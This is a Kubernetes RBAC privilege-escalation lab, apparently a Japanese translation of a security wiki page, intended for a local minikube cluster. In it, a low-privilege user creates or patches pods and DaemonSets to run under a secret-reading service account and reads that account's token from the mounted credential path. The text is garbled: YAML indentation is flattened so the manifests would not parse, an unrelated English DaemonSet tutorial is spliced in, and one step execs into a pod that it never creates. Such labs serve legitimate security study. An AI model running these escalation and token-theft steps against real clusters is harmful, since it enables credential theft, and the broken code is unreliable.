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Kubernetes Roles Abuse Lab

Kubernetes Rolesの悪用ラボ

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これらのラボはminikube内で実行できます。

Podの作成 -> ns SAsへのエスカレーション

以下を作成します：

  • "test-sa"というサービスアカウントを作成し、シークレットを読み取るためのクラスタ権限を持たせます

  • ClusterRole "test-cr"とClusterRoleBinding "test-crb"を作成します

  • "Test"というユーザーに、ポッドのリストと作成の権限を与えます

  • Role "test-r"とRoleBinding "test-rb"を作成します

  • その後、SAがシークレットをリストできることと、ユーザーTestがポッドをリストできることを確認します

  • 最後に、ユーザーTestをなりすまして、SA test-saを含むポッドを作成し、サービスアカウントのトークンを盗みます

  • これは、ユーザーがこの方法で特権をエスカレーションできることを示す方法です

このシナリオを作成するためには、管理者アカウントが使用されます。 さらに、この例では管理者アカウントを使用して作成されたポッド内でsaトークンを外部に流出させるため、"exec"権限は必要ありません。ポッドの宣言にトークンの流出が含まれる可能性があるため、"create"権限だけで十分です。

```bash # Create Service Account test-sa # Create role and rolebinding to give list and create permissions over pods in default namespace to user Test # Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1 kind: ServiceAccount metadata: name: test-sa

kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-r rules:

  • apiGroups: [""] resources: ["pods"] verbs: ["get", "list", "delete", "patch", "create"]

apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test-rb subjects:

  • kind: ServiceAccount name: test-sa

  • kind: User name: Test roleRef: kind: Role name: test-r apiGroup: rbac.authorization.k8s.io

kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-cr rules:

  • apiGroups: [""] resources: ["secrets"] verbs: ["get", "list", "delete", "patch", "create"]

apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: test-crb subjects:

  • kind: ServiceAccount namespace: default name: test-sa apiGroup: "" roleRef: kind: ClusterRole name: test-cr apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

Check test-sa can access kube-system secrets

kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

Check user User can get pods in namespace default

kubectl --as Test -n default get pods

Create a pod as user Test with the SA test-sa (privesc step)

echo "apiVersion: v1 kind: Pod metadata: name: test-pod namespace: default spec: containers:

  • name: alpine image: alpine command: ['/bin/sh'] args: ['-c', 'sleep 100000'] serviceAccountName: test-sa automountServiceAccountToken: true hostNetwork: true"| kubectl --as Test apply -f -

Connect to the pod created an confirm the attached SA token belongs to test-sa

kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

Clean the scenario

kubectl delete pod test-pod kubectl delete clusterrolebinding test-crb kubectl delete clusterrole test-cr kubectl delete rolebinding test-rb kubectl delete role test-r kubectl delete serviceaccount test-sa

## デーモンセットの作成

To create a Daemonset in Kubernetes, you need to define a YAML file with the necessary specifications. Here is an example of how to create a Daemonset:

```yaml
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: my-daemonset
spec:
  selector:
    matchLabels:
      app: my-app
  template:
    metadata:
      labels:
        app: my-app
    spec:
      containers:
      - name: my-container
        image: my-image:latest

In this example, the Daemonset is named "my-daemonset" and it uses a selector to match pods with the label "app: my-app". The template section defines the pod template for the Daemonset, including the container specifications. In this case, the container is named "my-container" and uses the image "my-image:latest".

To create the Daemonset, save the YAML file and use the following command:

kubectl apply -f my-daemonset.yaml

This will create the Daemonset in your Kubernetes cluster, ensuring that a pod with the specified container is running on each node.

# Create Service Account test-sa
# Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

デーモンセットのパッチ

この場合、デーモンセットをパッチして、ポッドが私たちの希望するサービスアカウントを読み込むようにします。

もしユーザーがパッチではなくアップデートの権限を持っている場合、これは機能しません。

# Create Service Account test-sa
# Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
---
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
automountServiceAccountToken: false
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100']' | kubectl apply -f -

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

機能しない

バインディングの作成/パッチ

機能しない:

  • create の動詞だけで新しい RoleBinding を作成する

  • patch の動詞だけで新しい RoleBinding を作成する（バインディングの権限が必要です）

  • これを使用して自分自身または別の SA に役割を割り当てることはできません

  • patch の動詞だけで新しい RoleBinding を変更する（バインディングの権限が必要です）

  • これを使用して自分自身または別の SA に役割を割り当てることはできません

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
subjects:
- kind: ServiceAccount
name: test-sa
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-r2
subjects:
- kind: ServiceAccount
name: test-sa2
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete rolebinding test-rb
kubectl delete rolebinding test-rb2
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

明示的なバインディングのバインド

https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/の「特権エスカレーションの防止とブートストラップ」セクションでは、SAがバインディングを作成でき、Role/Cluster roleに対して明示的なバインド権限を持っている場合、それに対して権限を持たないRoles/ClusterRolesを使用してバインディングを作成することができます。 しかし、私の場合はうまくいきませんでした：

# Create 2 SAs, give one of them permissions to create clusterrolebindings
# and bind permissions over the ClusterRole "admin"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Try to bind the ClusterRole "admin" with the second SA (won't work)
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb2
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -

# Clean environment
kubectl delete clusterrolebindings test-crb
kubectl delete clusterrolebindings test-crb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa
# Like the previous example, but in this case we try to use RoleBindings
# instead of CLusterRoleBindings

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin","edit","view"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Won't work
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -

# Clean environment
kubectl delete rolebindings test-rb
kubectl delete rolebindings test-rb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

任意のロールの作成

この例では、ロールのリソースに対して作成とパスの権限を持つロールを作成しようとします。しかし、K8sは、作成者の持つ権限以上の権限を持つロールを作成することを防ぎます。

# Create a SA and give the permissions "create" and "patch" over "roles"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["roles"]
verbs: ["patch", "create", "get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: ServiceAccount
name: test-sa
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Try to create a role over all the resources  with "create" and "patch"
# This won't wotrk
echo 'kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
rules:
- apiGroups: [""]
resources: ["*"]
verbs: ["patch", "create"]' | kubectl --as system:serviceaccount:default:test-sa apply -f-

# Clean the environment
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa
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